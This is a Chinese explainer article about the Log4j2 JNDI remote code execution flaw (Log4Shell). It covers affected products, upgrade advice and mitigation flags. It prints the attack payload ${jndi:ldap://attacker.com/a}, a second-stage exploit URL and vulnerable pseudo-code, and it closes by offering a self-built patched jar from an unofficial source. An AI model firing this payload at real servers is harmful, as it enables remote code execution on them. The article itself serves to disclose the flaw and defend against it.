Apache Log4j爆核彈級(jí)漏洞,大廠中招、公司炸鍋了...

作者:研磨架構(gòu)
出處:https://www.zhihu.com/question/505025655/answer/2265086040
這周,很多 Java 程序員都忙瘋了,因?yàn)橹灰?Java 程序員,幾乎都會(huì)用到 Apache Log4j 這個(gè)組建。
但這個(gè)組建卻爆出來(lái)一個(gè)史詩(shī)級(jí)的 Bug 。
1
Apache Log4j
Apache Log4j 2 是一款優(yōu)秀的 Java 日志框架。該工具重寫了 Log4j 框架,并且引入了大量豐富的特性。該日志框架被大量用于業(yè)務(wù)系統(tǒng)開發(fā),用來(lái)記錄日志信息。

由于 Apache Log4j 2 某些功能存在遞歸解析功能,攻擊者可直接構(gòu)造惡意請(qǐng)求,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞。
漏洞原理官方表述是:Apache Log4j2 中存在JNDI注入漏洞,當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)進(jìn)行日志記錄時(shí),即可觸發(fā)此漏洞,成功利用此漏洞可以在目標(biāo)服務(wù)器上執(zhí)行任意代碼。
通俗簡(jiǎn)單的說(shuō)就是:在打印日志的時(shí)候,如果你的日志內(nèi)容中包含關(guān)鍵詞??${,攻擊者就能將關(guān)鍵字所包含的內(nèi)容當(dāng)作變量來(lái)替換成任何攻擊命令,并且執(zhí)行。
通過(guò)JNDI注入漏洞,黑客可以惡意構(gòu)造特殊數(shù)據(jù)請(qǐng)求包,觸發(fā)此漏洞,從而成功利用此漏洞可以在目標(biāo)服務(wù)器上執(zhí)行任意代碼。
注意,此漏洞是可以執(zhí)行任意代碼,這就很恐怖,相當(dāng)于黑客已經(jīng)攻入計(jì)算機(jī),可以為所欲為了,就像已經(jīng)進(jìn)入你家,想干什么,就干什么,比如運(yùn)行什么程序,植入什么病毒,變成他的肉雞。
2
漏洞詳細(xì)描述
Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞詳細(xì)信息已被披露,而經(jīng)過(guò)分析,本次 Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞,正是由于組件存在 Java JNDI 注入漏洞。
當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)記入日志時(shí),攻擊者通過(guò)構(gòu)造特殊請(qǐng)求,來(lái)觸發(fā) Apache Log4j2 中的遠(yuǎn)程代碼執(zhí)行漏洞,從而利用此漏洞在目標(biāo)服務(wù)器上執(zhí)行任意代碼。
import org.apache.log4j.Logger;import java.io.*;import java.sql.SQLException;import java.util.*;public class VulnerableLog4jExampleHandler implements HttpHandler {static Logger log = Logger.getLogger(log4jExample.class.getName());/*** A simple HTTP endpoint that reads the request's User Agent and logs it back.* This is basically pseudo-code to explain the vulnerability, and not a full example.* @param he HTTP Request Object*/public void handle(HttpExchange he) throws IOException {string userAgent = he.getRequestHeader("user-agent");// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}log.info("Request User Agent:" + userAgent);String response = "Hello There, " + userAgent + "!
";he.sendResponseHeaders(200, response.length());OutputStream os = he.getResponseBody();os.write(response.getBytes());os.close();}}
根據(jù)上面提供的攻擊代碼,攻擊者可以通過(guò)JNDI來(lái)執(zhí)行LDAP協(xié)議來(lái)注入一些非法的可執(zhí)行代碼。
攻擊步驟
攻擊者向漏洞服務(wù)器發(fā)起攻擊請(qǐng)求。
服務(wù)器通過(guò)Log4j2記錄攻擊請(qǐng)求中包含的基于JNDI和LDAP的惡意負(fù)載
${jndi:ldap://attacker.com/a},attacker.com是攻擊者控制的地址。記錄的惡意負(fù)載被觸發(fā),服務(wù)器通過(guò)JNDI向
attacker.com請(qǐng)求。attacker.com就可以在響應(yīng)中添加一些惡意的可執(zhí)行腳本,注入到服務(wù)器進(jìn)程中,例如可執(zhí)行的字節(jié)碼http://second-stage.attacker.com/Exploit.class。攻擊者執(zhí)行惡意腳本。
專門畫了一張圖,讓大家更好理解,一圖勝千言:

下面就是漏洞“攻陷”,比如可以在baidu搜索框里輸入特殊格式請(qǐng)求,造成網(wǎng)頁(yè)劫持:

受影響版本(看起來(lái)是Log4j2才受影響,Log4j 1.2.15以下不受影響):
Spring-boot-strater-log4j2
Apache Solr
Apache Flink
Apache Druid
有報(bào)道稱,目前 Apache Solr、Apache Struts2、Apache Druid、Apache Flink 等眾多組件及大型應(yīng)用均已經(jīng)受到了影響,需盡快采取方案阻止。
3
解決方案
目前,Apache Log4j 已經(jīng)發(fā)布了新版本來(lái)修復(fù)該漏洞,請(qǐng)受影響的用戶將 Apache Log4j2 的所有相關(guān)應(yīng)用程序升級(jí)至最新的 Log4j-2.15.0-rc2 版本。
同時(shí)升級(jí)已知受影響的應(yīng)用程序和組件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。
臨時(shí)修復(fù)建議:
JVM 參數(shù)添加 -Dlog4j2.formatMsgNoLookups=truelog4j2.formatMsgNoLookups=TrueFORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設(shè)置為true
安全建議:
據(jù) Apache 官方最新信息顯示,release 頁(yè)面上已經(jīng)更新了 Log4j 2.15.0 版本,主要是那個(gè)log4j-core包,漏洞就是在這個(gè)包里產(chǎn)生的,如果你的程序有用到,盡快緊急升級(jí)。
現(xiàn)在網(wǎng)上公開的倉(cāng)庫(kù)還下載不到解決漏洞的 Log4j2 2.15.0版本,需要自己編譯源碼獲取Jar包,我這里有一份,已經(jīng)幫大家下載好了。
